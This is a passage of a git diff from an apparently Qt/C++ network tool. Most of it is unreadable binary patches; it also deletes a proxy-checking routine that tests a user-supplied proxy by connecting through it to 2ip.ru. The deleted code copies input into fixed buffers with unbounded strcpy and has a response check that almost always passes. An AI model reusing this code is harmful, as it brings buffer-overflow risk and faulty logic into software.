z(ZAT}<RR6=QZzzWiRJEAvG6#qH{<w;$8pIe4h&k7M7<rOsH|&RPRxDw3o>}TwVMsQ zW3ko?`F%2b+4kPJ02)^>HyR!WZPixT*S@x6Y}Nw<06Kf254TzDdFW9RXCCEU?V8_7 zsqW0rtaVm*I;$7`+$ByF**7%wNT_$;=){&#pSD}u5!xP(^o93CBB9=cW+s#{YzN=g zzXdh#73!YjW66WeQ|)el9g+3xJKO#9@POP2lg)zD4?R6rTVcFc;B$mW1Kp>+(Lk`~ ziv_~ov6X=!Aklz7(ZP_P7yOg%{Nycutb_YSy5~5L$|J`^F>6S8Jkb42z|WXgo+;SI zB=mO4>9aH{nR!FA&8p3`jA0v0n=F@^b_><?!=wENQg$h4O~tmyk1=g3oz~52+MKp^ zFqJp|ogtem+eXQ*ObaMy<!s$3m5dnyU<g|5N$`JE)AgxpRi8FX<)UTebM}mWEX=fY zu~0BAh}J6FrUpm34NRt=75ZjYKUy*hCWKikf}8(GZh)E9E~W+q)+zeCpvOCdo&)Mz z=_iFAoDdh($7hQ4s1E^#_tA1_vK$eU)wn20w=~A#dT3-zUJ8o~E-UoWzYiM46BOhJ zp+^d?$zm&hX-)No&o|m^rLUS%^>=|Ta+c%0Dai?;i0_^(YW@*eRBa;vtRPaJm_OeC zYW{dm=*p}3e^2;VZ3`GQ9I>F|`UHsn13~Oja8>`5&{xm@TS4USx@1Gm{{*b5F(Un4 zL7c}42<G1bP0jx-U;$|A`E`r^AU;sIsPmTrb@M+UUMhM2R{@vw34a?fOx36CfABy0 zf3t=ELoWXDl~DbEA^eA-mn9_pZ<9e7)A>>Vm4wOECzO0>jr3@apEJZ%`j`MdC!**n zeu965f!qF1i~JV^5zqe)Xrxd3k2Lk{Q6(tAn>dj~jo&SHqzAED0y!e=tb?(e{}q6{ z`LE)`0&-4qs7xJ_%P;blvFi<&CGh9w5#tcWh@#}X?RItuK7OMpWSIJRmFb3yO;MJ7 z{LNen;_K^`aJmQf0Pd0Ek@v&L#HKAZ1@WlWu0!y#H42k(JgKFU;8WRKbKU3q1;u@6 z#aEwp#twnGP11hSy`KfV$J>mbp5Ix(#TC~K1V*p5z&~t(Ujp3C?{|Q&fec8n)<gLN znw#IhTHqb91#bMF7I?e`J`Om>Gmk-loOC*7wcwv_fxm(H?c2}ZX~AcMrHXA%*tvXJ zOHWTTeP43_U^J=g<;tW!qC*K82{$SIgF{7Y#7aXksUJ?+$=$l1D`F)G(`K!?lP@>t zSbP3cVMspr4-co}<NA1XFd5g;VkCSZiWO!IO3O$%V;cE<F>Tmpd@Q9G3e2_2lmm%4 zfwahAFv^pM>Uca`%9Q04c3G9eq*;pRa)|Cojb|hMnPR+<vvWmjC~H_#=3q2V#Wm9> ztmkr8Mn7nlD^S4l$dyftna-w-rtIChVp*Rw%4XjP?A(wDQpIB&*E8j!4*oKEFsrAl zh7RdhVZZTSMZx|aXn!^w!5S0=YXPhsNob6G921|ufB22T{~v_&|6?#me1n9K!Wac{ z{N@n<1q4A5$8QheSpT3PejhZ#Uqui^jpr=~zAgUu1&(&)I6szfInJ*oT#mC1-UAdh z&Q%gF$BExH6y(cx=;pvz4c90y`agkKNW$sH#e91t9M28~?QDWZc94Uj+JDG_xzGDy zOnd?J8=3A<!m!8mC>NYlJZPVu8N_?>2Ly5XYZ>9FgUhw-fP|wC$%q&rhIKi~v=|_c TjqbY{2}iytZ`e5rm-G4?i~eSp literal 0 HcmV?d00001 diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index 753ba05..34a0c1a 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -1,5 +1,4 @@ #include "CheckKey_Th.h" -#include "CheckProxy_Th.h" #include "STh.h" #include "externData.h" #include "externFunctions.h" diff --git a/CheckKey_Th.o b/CheckKey_Th.o new file mode 100644 index 0000000000000000000000000000000000000000..c657fc60ea3a20b687652af2ef0b389d81d9e96f GIT binary patch literal 23264 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 CqJdKY literal 0 HcmV?d00001 diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp deleted file mode 100644 index 02f10b2..0000000 --- a/CheckProxy_Th.cpp +++ /dev/null @@ -1,149 +0,0 @@ -#include "CheckProxy_Th.h" -#include "externData.h" - -void CheckProxy_Th::doEmitChangeRedIRCData(QString str) -{ - emit chPTh->changeRedIRCData(str); -}; -void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) -{ - emit chPTh->changeGreenIRCData(str); -}; -void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) -{ - emit chPTh->changeYellowIRCData(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) -{ - emit chPTh->changeRawIRCDataInc(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) -{ - emit chPTh->changeRawIRCDataOut(str); -}; - -void CheckProxyLogic() -{ - QString str1 = ui->ircProxyPort->text(); - QString str2 = ui->ircProxy->text(); - strcpy(ircProxy, str2.toUtf8().data()); - strcpy(ircProxyPort, str1.toUtf8().data()); - - SOCKET pSock; - char precvBuff[2048] = {0}; - sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(atoi(ircProxyPort)); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); - else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); - else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - - if(pSock == INVALID_SOCKET) - { - - chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); - - } - else - { - if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) - { - - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); - - send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); - - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { - - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); - - if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") - || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") - ) - && (strlen(precvBuff) < 150) - && strstr(precvBuff, "404 File Not Found") == NULL - && - ( - strstr(precvBuff, "Invalid Request") == NULL - || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL - || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL - ) - ) - { - - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); - - send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); - ZeroMemory(precvBuff, sizeof(precvBuff)); - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { - - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); - - if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL - && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL - && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL - && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL - && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL - && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL - && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL - && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL - && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL - && strstr(precvBuff, "gateway timeout") 